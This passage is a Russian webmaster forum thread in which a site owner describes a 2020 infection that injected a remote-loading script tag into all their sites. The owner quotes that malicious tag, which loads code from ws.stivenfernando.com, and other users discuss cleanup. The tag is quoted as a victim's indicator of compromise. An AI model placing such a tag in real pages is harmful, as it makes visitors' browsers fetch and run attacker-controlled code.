С нами с 03.11.15
Сообщения: 395
Рейтинг: 281
|
 Добавлено: 16/04/20 в 18:58 |
Всем привет.У меня в последнее время ломает кто-то все сайты выключенные включенные.Прописывается такой скрипт к началу документов
<script type='text/javascript' src='https://ws.stivenfernando.com/stm?v=2.2.0'></script>
Причем не важно какой cms.Такое ощущение,что кто-то лазит по www как дома у себя.В интернете инфы мало пока, но нашел такую ссылку,там ссылка на оригинальный код и расшифрованный.Я не понимаю что там написано подскажите где эта гадость сидит, почему то подозрения на хостера.
https://malwaredecoder.com/result/f216a5ead4d9fabbc2c0e420fdeee2e7
Спалил просто сайты грузятся по 1-5 минут давая не хилую нагрузу .После второго бэкапа опять такая же хрень началась через 2 дня.
|
|
|
|
| |
С нами с 08.11.16
Сообщения: 187
Рейтинг: -1
|
| Добавлено: 17/04/20 в 10:00 |
|
|
|
|
| |
С нами с 03.11.15
Сообщения: 395
Рейтинг: 281
|
| Добавлено: 17/04/20 в 11:35 |
FoxCloud: Оч спасибо.Серьезные рекомендации, особенно с изменением кода на емайл, обязательно надо попробовать.Я сейчас оставил один сайт перенесу его на другой сервер.А с остальными буду разбираться.
|
|
|
|
| |
Old Raver
С нами с 02.08.03
Сообщения: 20516
Рейтинг: 1782
 
|
| Добавлено: 18/04/20 в 03:31 |
|
|
|
|
| |
С нами с 03.11.15
Сообщения: 395
Рейтинг: 281
|
| Добавлено: 18/04/20 в 09:38 |
Ecchi:
| Ecchi писал: | | xurl: это совсем свежий вирь, даже на вордпресе топик снесли, наверно пока сами не разберуться |
Да я видел на фрилансах за 2 дня много заказов на удаление.Я снес 10 сайтов ,оставил 3 перспективных.Но отключил, вирусня везде, сегодня продолжу чистить.Я что вытравлю куски кодов скину сюда, может кому пригодится.Работы много.Он залез через вордпресс, а заразил все сайты, даже отключенные.
|
|
|
|
| |
С нами с 17.07.09
Сообщения: 982
Рейтинг: 864
|
| Добавлено: 19/04/20 в 11:20 |
|
|
|
|
| |
Текстовая реклама в форме ответа
Заголовок и до четырех строчек текста
Длина текста до 350 символов
Купить рекламу в этом месте! |
